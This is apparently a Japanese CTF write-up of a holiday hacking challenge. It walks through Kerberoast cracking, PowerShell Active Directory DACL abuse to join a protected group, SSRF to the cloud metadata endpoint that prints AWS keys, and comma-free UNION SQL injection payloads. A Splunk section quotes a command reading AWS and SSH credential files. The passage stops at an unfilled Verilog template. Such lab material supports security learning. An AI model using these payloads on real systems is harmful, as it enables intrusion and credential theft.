30e53f994890a36fac3abcaec1ab7c033315c4f7365a4cab93888e7a4e821c5e265f3827a5cf500f51d93ff4bacd7c9b34d40d155ad1bacbc2902f0287cfb6cd15c4aa8b8566a2b977345d36a66240dcc46e7be61741e32fd3135f3bab51b3151447e50286da1211ec8c845e3b65050e5bb792fa2ccc4d20544644dd4b4717f981be3518:Snow2021! Session..........: hashcat Status...........: Cracked Hash.Name........: Kerberos 5, etype 23, TGS-REP Hash.Target......: $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_sv...be3518 Time.Started.....: Fri Dec 31 10:57:33 2021, (5 secs) Time.Estimated...: Fri Dec 31 10:57:38 2021, (0 secs) Guess.Base.......: File (cewl.log) Guess.Mod........: Rules (password_cracking_rules/OneRuleToRuleThemAll.rule) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 580.2 kH/s (33.58ms) @ Accel:8 Loops:256 Thr:64 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 3186203/4055610 (78.56%) Rejected.........: 51995/3186203 (1.63%) Restore.Point....: 0/78 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:40448-40704 Iteration:0-256 Candidates.#1....: The0307 -> cimes Started: Fri Dec 31 10:57:29 2021 Stopped: Fri Dec 31 10:57:40 2021
crack成功しました!これで、下記Userのnameとpasswordをゲット。
username: elfu_svc password: Snow2021!
このユーザー、さっき rpcclient
で一覧したときに出てきていました。更に、smbclient
でshareを確認した時、この名前のshareがあったはず。ということでそのshareにアクセスしてみます。
$ smbclient -U 'elfu_svc' \\\\10.128.3.30\\elfu_svc_shr smb: \> ls ...(omit) smb: \> get GetProcessInfo.ps1 getting file \GetProcessInfo.ps1 of size 699 as GetProcessInfo.ps1 (682.6 KiloBytes/sec) (average 682.6 KiloBytes/sec)
スクリプトがたくさん置いてありましたが、ヒント動画で使っていたのと同じ名前のスクリプトがあったのでダウンロードしてみました。中身を見てみます。
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA" $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7 $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass) ...(ommit)
おお、これは remote_elf
のクレデンシャル情報!
ヒントリンクのAdded bonus, here is how you can Enter-PSSession into a remote computer: のコードを参考に、remote_elf
のクレデンシャルでRemoteSessionを張るスクリプト remote_session.ps1
を作成。
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA" $aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7 $aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass) Enter-PSSession -ComputerName 10.128.1.53 -Credential $aCred -Authentication Negotiate
このスクリプトをPowerShellで実行すると、
$ pwsh PS /home/{usernmae}> ./remote_session.ps1 [10.128.1.53]: PS C:\Users\remote_elf\Documents>
接続に成功しました!
この remote_elf
で先程の elfu_svc
で見れなかったshare //10.128.3.30/research_dep
が見れるかと思ったけどそうはいかず。
もう一度 share名と、group, userをよく見てみた所、ResearchDepartment
groupのメンバーになると research_dep
が見れそうな気がします。test
userや、いくつかの動的に作成されたっぽいUserがこのGroupに入っているのでとても怪しい。
このGroupの情報を見てみます。 powershell
[10.128.1.53]: PS C:\Users\remote_elf\Documents> Get-ADGroup ResearchDepartment DistinguishedName : CN=Research Department,CN=Users,DC=elfu,DC=local GroupCategory : Security GroupScope : Global Name : Research Department ObjectClass : group ObjectGUID : 8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d SamAccountName : ResearchDepartment SID : S-1-5-21-2037236562-2033616742-1485113978-1108
CN
がわかりました。
ヒント動画で次にやっていたように、このGroupの情報をとってきます。
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount])
実行結果(抜粋)
ActiveDirectoryRights : WriteDacl InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : ELFU\remote_elf IsInherited : False InheritanceFlags : None PropagationFlags : None
remote_elf
はこのGroupに対して WriteDacl
の権限を持っているようです!素晴らしい!
では、chrisdのスクリプトを参考に、userにこのGroupの "GenericAll" permission を付与します。
Add-Type -AssemblyName System.DirectoryServices $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $username = "{username}" $nullGUID = [guid]'00000000-0000-0000-0000-000000000000' $propGUID = [guid]'00000000-0000-0000-0000-000000000000' $IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier]) $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString $secOptions = $domainDirEntry.get_Options() $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl $domainDirEntry.RefreshCache() $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE) $domainDirEntry.CommitChanges() $domainDirEntry.dispose()
これを実行してしばらくしてGroupを確認すると、
$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount]) ...(omit) ActiveDirectoryRights : GenericAll InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : ELFU\{username} IsInherited : False InheritanceFlags : None PropagationFlags : None
付与されました!
その後、remote_elf
にてこちらのスクリプトを参考に、userを Research Department group に追加します。
Add-Type -AssemblyName System.DirectoryServices $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local" $username = "{username}" $password = "{password}" $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password $user = New-Object System.Security.Principal.NTAccount("elfu.local\$username") $sid=$user.Translate([System.Security.Principal.SecurityIdentifier]) $b=New-Object byte[] $sid.BinaryLength $sid.GetBinaryForm($b,0) $hexSID=[BitConverter]::ToString($b).Replace('-','') $domainDirEntry.Add("LDAP://<SID=$hexSID>") $domainDirEntry.CommitChanges() $domainDirEntry.dispose()
実行後、またしばらくして rpcclient
で情報をとってみます。
$ rpcclient 10.128.1.53 Enter WORKGROUP\{username} password: rpcclient $> querygroupmem 0x454 // Research Department rid:[0x60f] attr:[0x7] rid:[0x610] attr:[0x7] rid:[0x613] attr:[0x7] rid:[0x618] attr:[0x7] rid:[0x61b] attr:[0x7] rid:[0x61e] attr:[0x7] -> it was me!
Groupに追加されました!
smbclient
で先程気になったshareを確認してみます。
$ smbclient -U '{username}' \\\\172.17.0.3\\research_dep Enter WORKGROUP\{username}'s password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Dec 2 16:39:42 2021 .. D 0 Fri Dec 31 08:01:26 2021 SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021 41089256 blocks of size 1024. 33388056 blocks available smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (56616.6 KiloBytes/sec) (average 56618.5 KiloBytes/sec)
なんか怪しいPDFがあったのでDLしてみます。
PDFを閲覧するGUIが無いのと、この端末(必ずgradeアプリが立ち上がる)上でのscpの方法がわからなかったので、コピペできるようbase64
encodeして表示してみました。
$ cat SantaSecretToAWonderfulHolidaySeason.pdf | base64 JVBERi0xLjMKJcTl8uXrp/Og0MTGCjMgMCBvYmoKPDwgL0ZpbHRlciAvRmxhdGVEZWNvZGUgL0xl bmd0aCA0OTc5ID4+CnN0cmVhbQp4AbWc23LkyHGG7/EUsGd2SO5MNxvHblhryZZ2tZJ8Y0cwQhem LhwTK8uOGcu7Y7+/v78yARSqwCXQpGMi2NOFQlYe/jxUotA/lv9S/lje/+ZLVX78Up7Cvy8fGTod ...(omit)
自分のマシン上でこれをbase64 decodeすると、PDFファイルが取得・閲覧できました。
この内容と問題文を読むと、答えはリストの先頭のワードでした。
Windows(PowerShell)系、AD系はさっぱり初心者だったのですが、なんとかTalkの動画やヒント、親切な参考スクリプトのおかげでたどり着けました。めちゃめちゃ時間がかかったので、凄い達成感!
9) Splunk!
Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?
去年のsplunk challengeと似ている。去年やったから今年はすんなり行けるかな?
以下、サンプルクエリへのリンクが張ってありました。親切!
Sample Splunk Searches
Task 1
Capture the commands Eddie ran most often, starting with git. Looking only at his process launches as reported by Sysmon, record the most common git-related CommandLine that Eddie seemed to use.
もともと画面に入っていたクエリが
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational
ここに、gitのコマンド
| search "git "
を追加して、左位のペインの CommandLine
をクリックすると、後続のコマンドを頻出順に表示してくれました。
ということで答えは一番上の git status
Task 2
Looking through the git commands Eddie ran, determine the remote repository that he configured as the origin for the 'partnerapi' repo. The correct one!
今度は
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational | search "git remote add"
のクエリで検索してみると、こんなコマンドが引っかかりました。
CommandLine = git remote add origin git@github.com:elfnp3/partnerapi.git
このgit@
以降の部分が答え。
Task 3
The 'partnerapi' project that Eddie worked on uses Docker. Gather the full docker command line that Eddie used to start the 'partnerapi' project on his workstation.
docker run
などのワードで引っかからなかったので、up
のワードで探すとCommandLineが2つ引っかかりました。そのうち1つが
CommandLine = docker compose up
だったのでコレが答え。docker compose使ってるんですね。
Task 4
Eddie had been testing automated static application security testing (SAST) in GitHub. Vulnerability reports have been coming into Splunk in JSON format via GitHub webhooks. Search all the events in the main index in Splunk and use the sourcetype field to locate these reports. Determine the URL of the vulnerable GitHub repository that the elves cloned for testing and document it here. You will need to search outside of Splunk (try GitHub) for the original name of the repository.
左のペインの sourcetype
をクリックすると、 8個の値がありました。問題文から github_json
が怪しいかもなということでこれをクリックしてみます。
いくつか履歴が出てきましたが、先程出てきたリポジトリ以外のものは elfnp3/dvws-node
のみのようです。githubのページで elfnp3
をユーザー検索してみます。
うーん、かわいい。
https://github.com/elfnp3/dvws-node
このelfnp3/dvws-node
リポジトリのページの左上にどのリポジトリからforkしてきたものかが書いてあるので、そのリポジトリのurlが答え。
Task 5
Santa asked Eddie to add a JavaScript library from NPM to the 'partnerapi' project. Determine the name of the library and record it here for our workshop documentation.
index=main | search "npm "
でクエリをかけてみると、いくつかCommandLineの履歴が出てきました。また左のペインの CommandLine
を見てみると
CommandLine = /usr/bin/env node /usr/bin/npm install holiday-utils-js
という怪しげなのがあります。このツール名が答え。
Task 6
Another elf started gathering a baseline of the network activity that Eddie generated. Start with their search and capture the full process_name field of anything that looks suspicious.
問題文中のリンク先のsplunkには、
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) | stats count by dest_ip dest_port
というクエリが既に入っています。
2つのipが結果として出てきており、一つはgitなので除外。もう一つの dest_ip="54.175.69.219"
の方をクリックして、左ペインから process_name
を見てみると /usr/bin/nc.openbsd
でした。コレが答え。
Task 7
Uh oh. This documentation exercise just turned into an investigation. Starting with the process identified in the previous task, look for additional suspicious commands launched by the same parent process. One thing to know about these Sysmon events is that Network connection events don't indicate the parent process ID, but Process creation events do! Determine the number of files that were accessed by a related process and record it here.
先程の parent process は /bin/bash
, parent process id は 6788
。
main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational | search parent_process_id=6788
でクエリをかけると、先程のnc以外に
cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts
というコマンドが見つかりました。6個のファイルを出力したみたいです。答えは6。
Task 8
Use Splunk and Sysmon Process creation data to identify the name of the Bash script that accessed sensitive files and (likely) transmitted them to a remote IP address.
先程のbashのプロセスIDで検索してみます。
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 | search process_id=6788
ここで出てきた履歴(1件)を開いて詳細を見ていくと
parent_process: /bin/bash preinstall.sh
と書いてありました。このスクリプト名が答え!
全部クリアすると、問題ページのトップにバナーが表示されます。
※一応Objectiveの答えそのままなので消しておきました。
ここでSantaになんと呼ばれているかを入れるとObjective9クリアです。
10) Now Hiring!
What is the secret access key for the Jack Frost Tower job applications server? Brave the perils of Jack's bathroom to get hints from Noxious O. D'or.
ジャックタワーのトイレに行きます。金ピカの便座がある。ワオ。(役員用のトイレらしい)
Noxious O. D'or に話しかけると、そばの端末(IMDS Exploration)をクリアすればObjectiveのヒントをくれるらしい。端末のwriteupは端末側(terminal)に掲載。
terminalの課題をクリアしてもらったヒントはこちら。
AWS IMDS Documentation: The AWS documentation for IMDS is interesting reading.
AWS IMDS ドキュメントへのリンクだ。
先程やったIMDS関連の問題のようだ。採用案内ページはこちら。
採用申し込みページに飛ぶと、名前・アドレス・電話番号・得意分野・レジュメ, etc... を埋めて提出するフォームが現れます。
色々試してみたところ、
- Nameが必須項目・かつ特殊文字を受け付けないようになっている
- Resumeでファイルを開くUIになっているが、実際送るのはファイル名のみ
ということがわかりました。
フォームを埋めてSubmitすると "Submission Accepted" という文言とともに
こんなページが現れ、真ん中の潰れて見えなくなっている画像のところに "URL to your public NLBI report" フィールドに入れた IMDSエクスプロイトの結果が書かれて出てきます。
この画像は、上のフォームで入力したNameに関連して /images/{Name}.jpg
として生成されるようです。これを利用して、まずはテスト。
http://169.254.169.254/latest/meta-data/
の結果は
$ cat kusuwada_test.jpg ami-id ami-launch-index ami-manifest-path block-device-mapping/ami block-device-mapping/ebs0 block-device-mapping/ephemeral0 block-device-mapping/root block-device-mapping/swap elastic-inference/associations elastic-inference/associations/eia-bfa21c7904f64a82a21b9f4540169ce1 events/maintenance/scheduled events/recommendations/rebalance hostname iam/info iam/security-credentials iam/security-credentials/jf-deploy-role instance-action instance-id instance-life-cycle instance-type latest latest/api/token local-hostname local-ipv4 mac network/interfaces/macs/0e:49:61:0f:c3:11/device-number network/interfaces/macs/0e:49:61:0f:c3:11/interface-id network/interfaces/macs/0e:49:61:0f:c3:11/ipv4-associations/192.0.2.54 network/interfaces/macs/0e:49:61:0f:c3:11/ipv6s network/interfaces/macs/0e:49:61:0f:c3:11/local-hostname network/interfaces/macs/0e:49:61:0f:c3:11/local-ipv4s network/interfaces/macs/0e:49:61:0f:c3:11/mac network/interfaces/macs/0e:49:61:0f:c3:11/owner-id network/interfaces/macs/0e:49:61:0f:c3:11/public-hostname network/interfaces/macs/0e:49:61:0f:c3:11/public-ipv4s network/interfaces/macs/0e:49:61:0f:c3:11/security-group-ids network/interfaces/macs/0e:49:61:0f:c3:11/security-groups network/interfaces/macs/0e:49:61:0f:c3:11/subnet-id network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv4-cidr-block network/interfaces/macs/0e:49:61:0f:c3:11/subnet-ipv6-cidr-blocks network/interfaces/macs/0e:49:61:0f:c3:11/vpc-id network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-block network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv4-cidr-blocks network/interfaces/macs/0e:49:61:0f:c3:11/vpc-ipv6-cidr-blocks placement/availability-zone placement/availability-zone-id placement/group-name placement/host-id placement/partition-number placement/region product-codes public-hostname public-ipv4 public-keys/0/openssh-key reservation-id security-groups services/domain services/partition spot/instance-action spot/termination-time
使用されているIAMロールを出力する http://169.254.169.254/latest/meta-data/iam/security-credentials
の結果は、
$ cat kusuwada_role.jpg jf-deploy-role
クレデンシャル取得 http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role
の結果は、
$ cat kusuwada_secret.jpg { "Code": "Success", "LastUpdated": "2021-05-02T18:50:40Z", "Type": "AWS-HMAC", "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6", "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX", "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==", "Expiration": "2026-05-02T18:50:40Z" }
このSecretAccessKeyが答え👍
他の人が生成したimageも見れてしまうので、なんとなく勘で /images/secret.jpg
とか入れてみると同じ名前で攻撃成功したjpgが降ってきたりした。
11) Customer Complaint Analysis
A human has accessed the Jack Frost Tower network with a non-compliant host. Which three trolls complained about the human? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.
パケットキャプチャファイルがDLできるリンクが提示されています。
全部で約600行。この量ならヒントなしでも解けそう。
パケットを眺めていると、アンケートフォームをPOSTする際のbodyに投稿者の名前が含まれていそうなので、
http.request.method == "POST"
でパケットをフィルタしてNameを見ていきます。
これで16個に絞れたので、中身を見ながら人間に苦情を投稿している3人を探していきます。
"human"や"network" という単語は検索に引っかからず、苦情の文言自体もネットワーク関連のものが見当たりません。
その代わり、POSTの中身に苦情元のguest_idと、タイトルに大体どのroomのお客さんからの苦情かが入っているので、ちょうど三人から苦情が来ている room 1024 の人が怪しそう。よく見てみると、この room 1024 のお客さん(L384 で自信も投稿している)の troll_id
がおかしなことになっている。この人が怪しい。
ということで、room1024に苦情を言っている3人をアルファベット順に並び替えると正解。
Flud Hagg Yaqh
12) Frost Tower Website Checkup
Investigate Frost Tower's website for security issues). This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa's dining room, may have some pointers for you.
webのソースコードがzipで配布されます。
$ tree frosttower-web -L 1 frosttower-web ├── country.json ├── custom_modules ├── server.js ├── sql └── webpage
とても多い…。これは見るところを絞ったほうが良さそう。
ヒントをくれるダイニングのターミナルを攻略すると、こんな情報が得られました。
SQL Injection with Source: When you have the source code, API documentation becomes tremendously valuable.
どうやらSQL injection 問題っぽい。
問題のwebサイトを訪れてみると、クリスマスまで?のカウントが始まっているのと、emailを入力するフォームがあります。
server.js
を見てみると、他にも /login
や /search
など、色々pathがあるっぽい。検索系のページはログインしないと触れないようだ。
Admin系のAPIを眺めてみると、 session.userstatus == 1
のときしか実行できないようになっている。これがadminのuserstatusっぽい。
まずは、コードを読んだりサイトをつついたりして各APIの挙動と必要な権限を整理します。
* GET / # any session * GET /testsite # any session * POST /testsite # no session * GET /contact # any session * POST /postcontact # any session * GET /detail/:id # need login * GET /edit/:id # need login * POST /edit/:id # need login * POST /delete/:id # need admin login * GET /search # need login * POST /search # need login * POST /export # need login * GET /login # no session * POST /login # any session * GET /redirect # any session * GET /logout # any session * GET /dashboard # need login * GET /adduser # need admin login * POST /adduser # need admin login * GET /userlist # need admin login * GET /useredit/:id # need admin login * POST /useredit/:id # need admin login * POST /userdelete/:id # need admin login * GET /forgotpass # no session * POST /forgotpass # no session * GET /forgotpass/token/:id # no session * POST /forgotpass/token/:id # no session
多い…!これ全部見るのしんどいな…。
判明しているtableは、sql/encontact_db.sql
より、
- uniquecontact // お問合せ元情報
- users // 管理運用アカウント
- emails // テストサイトで使用
ここにtodoリストは載っていなさそうだけど、それぞれのテーブルのスキーマがわかるのでありがたい。
全体としてはおそらく、何かしらでログインに成功した状態にして、SQL injectionという流れだと思われるので、まずはsession系のコード周り中心に怪しいところがないか、もう一度server.js
をよーーーーく見てみます。
/postcontact
APIの
tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){ // omitted error process var rowlength = rows.length; if (rowlength >= "1"){ session = req.session; session.uniqueID = email; req.flash('info', 'Email Already Exists'); res.redirect("/contact"); }
ここの部分が怪しい。uniquecontact
に登録するemailを探して、すでに登録されていた場合、なぜか session.uniqueID = email;
とsessionのuniqueIDに登録用emailを入れてしまっている。このフローを通れば、session.uniqueID
があれば誰でも使えるAPIは使えちゃいそう。
下記の手順で検証してみます。
- contact formで、テストユーザーを登録
- 同じユーザーをもう一度登録 ->
session.uniqueID
に値が入る /dashboard
に移動
dashboardの画面が表示され、ここで検索(/search
API)が使えるようになりました!
次に、SQL injectionできそうな箇所を探してみます。/search
APIは色々試してみたけれどもescape
機能が適切に働いているようでinjectionならず。今度はSQL関連のヒントサイトのREADMEをよーーーーく読んでみます。
特に、escape機能を回避する事ができないかと念じて読んでいると、下記記述を発見。
To generate objects with a toSqlString method, the
mysql.raw()
method can be used. This creates an object that will be left un-touched when using in a?
placeholder, useful for using functions as dynamic values:Caution The string provided to
mysql.raw()
will skip all escaping functions when used, so be careful when passing in unvalidated input.
mysql.raw()
はエスケープ処理をスキップしてくれるらしい!
コード中(server.js
)に使われてるところがないか探してみます。
app.get('/detail/:id', function(req, res, next) { session = req.session; var reqparam = req.params['id']; var query = "SELECT * FROM uniquecontact WHERE id="; if (session.uniqueID){ try { if (reqparam.indexOf(',') > 0){ var ids = reqparam.split(','); reqparam = "0"; for (var i=0; i<ids.length; i++){ query += tempCont.escape(m.raw(ids[i])); query += " OR id=" } query += "?"; }else{ query = "SELECT * FROM uniquecontact WHERE id=?" }
ids
がm.raw()
で処理されています!ここが怪しい。
/detail
APIなので、admin権限も必要なく使えるはず。試してみます。
/detail/12
を表示すると No.12 の情報が、 /detail/12,13
のようにカンマ区切りで指定すると、No.12と13二人分の情報が出てきました。この脆弱性はカンマ区切りで値を指定したときだけ発動するので、下記のようにクエリを作ったときにescapeをスキップしてくれる。(queryの最後は、カンマ区切りでidを指定したときは"0"
固定にされる)
SELECT * FROM uniquecontact WHERE id={id[0]} OR id={id[1]} ... OR id=0
試しに下記のクエリになるよう、/detail/0,0 OR 1=1--
を入れると、全員分のデータが出てきました!他のAPIでは弾かれていたクエリが刺さってます👍
SELECT * FROM uniquecontact WHERE id=0 OR id=0 OR 1=1-- OR id=0
今回は他のtableから情報を引っ張ってくる必要がありそうなので、UNION SELECT
も試してみます。
SELECT * FROM uniquecontact WHERE id=0,0 union select * from users-- OR id=0
sqlとしては通ったようですが、表示する際に型エラーが発生しました。
TypeError: /app/webpage/detail.ejs:29 27| - 28| <% }else { %> >> 29| <%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %> 30| <% } %> 31| </li> 32| </ul>
uniquecontact
と users
tableで、カラム数は一致しているものの最後のカラムの型が違うことに起因したエラーです。型とカラム数に気をつけないと。
今度は型とカラムを合わせた UNION SELECT のテストとして、
SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL-- OR id=0
となるようにクエリパラメータを組んで送ってみます。
/detail/0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL--
が、Internal Server Error発生。よく考えてみると、SQLとして処理される前に、クエリパラメータとしてコンマが処理されてしまっているので、idsに
ids = [0, 0 UNION SELECT 1, "a", "b", "c", "d", NULL, NULL--]
とコンマ区切りで収納されてしまっているのでした。これはコンマを回避してクエリを組み立てるしかない!
ということで、いつのお世話になっている
PayloadsAllTheThings/SQL Injection at master · swisskyrepo/PayloadsAllTheThings · GitHub
のサイトの No Comma を参考にクエリを組み替えてみます。
SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g-- OR id=0
とても長いけど、これを送ると結果が帰ってきました!
/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
これで欲しい値を自由に手に入れられそう!!!
まずは、information_schema.tables
を使って、table一覧を取得します。返り値はcharのはずなので、full_name
の場所に入れます。
主要SQL部分
SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0
送ったURLパラメータ
/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
これでoffsetをずらしていくと、下記のtableリストが得られました。
- tables(base_table)
- users
- todo
- emails
- uniquecontact
todo
というテーブルがあるらしい。では次は、このテーブルのカラム情報を information_schema.COLUMNS
を使って取得します。
主要SQL部分
SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0
送ったURLパラメータ
/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
これまたoffsetをずらしていくと、以下のカラム情報が得られました。
- columns(todo)
- id
- note
- completed
問題からして、このnote
をチェックしていけば答えが書いてありそう。
主要SQL部分
SELECT note from todo limit 1 offset 0
送ったURLパラメータ
/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--
全部のnoteを取得すると、こうなりました。たくさん悪いこと考えてますね。
- note
- Buy up land all around Santa's Castle
- Build bigger and more majestic tower next to Santa's
- Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
- Dishearten Santa's elves and encourage defection to our cause
- Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
- Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
- Force Santa to cancel Christmas
- SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
- With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him
最後のtodoが、サンタの職業に関する記載。clerk
だけを入れると正解でした!
13) FPGA Programming
Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack's elevator.
エルフからもらったヒントはこちら。
- FPGA Talk: Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs).
- FPGA for Fun: There are FPGA enthusiast sites.
FPGAといえば、ウロウロ探索しているときに Frost Tower Rooftop にそういう名前の端末があったような。開いてみるとこんな問題。
EE/CS 302 - Exercise #4
Hello, students! In exercise #4, we continue our FPGA journey, documenting the creation of the sound chip for this holiday season's new Kurse 'em Out Karen doll. Our goal is to make the doll say its trademark phrase. But, as I always tell you in class, we must walk before we run.
Before the doll can say anything, we must first have it make noise. In this exercise you will design an FPGA module that creates a square wave tone at a variable frequency.
Creating a square wave output takes our clock signal (which is also a square wave) and uses a counter to divide the clock to match the desired frequency. One tricky problem that we'll encounter is that Verilog (v1364-2005) doesn't have a built-in mechanism to round real numbers to integers, so you'll need to devise a means to do that correctly if you want your module to match frequencies accurately.
Good luck and always remember:
If
$rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4
, add 1
// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA. // The CQC-11 operates with a 125MHz clock. // Your design for a tone generator must support the following // inputs/outputs: // (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL // REQUIRES THE USE OF THESE NAMES!) // input clk - this will be connected to the 125MHz system clock // input rst - this will be connected to the system board's reset bus // input freq - a 32 bit integer indicating the required frequency // (0 - 9999.99Hz) formatted as follows: // 32'hf1206 or 32'd987654 = 9876.54Hz // output wave_out - a square wave output of the desired frequency // you can create whatever other variables you need, but remember // to initialize them to something! `timescale 1ns/1ns module tone_generator ( input clk, input rst, input [31:0] freq, output wave_out ); // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ---- // TODO: Add your code below. // Remove the following line and add your own implementation. // 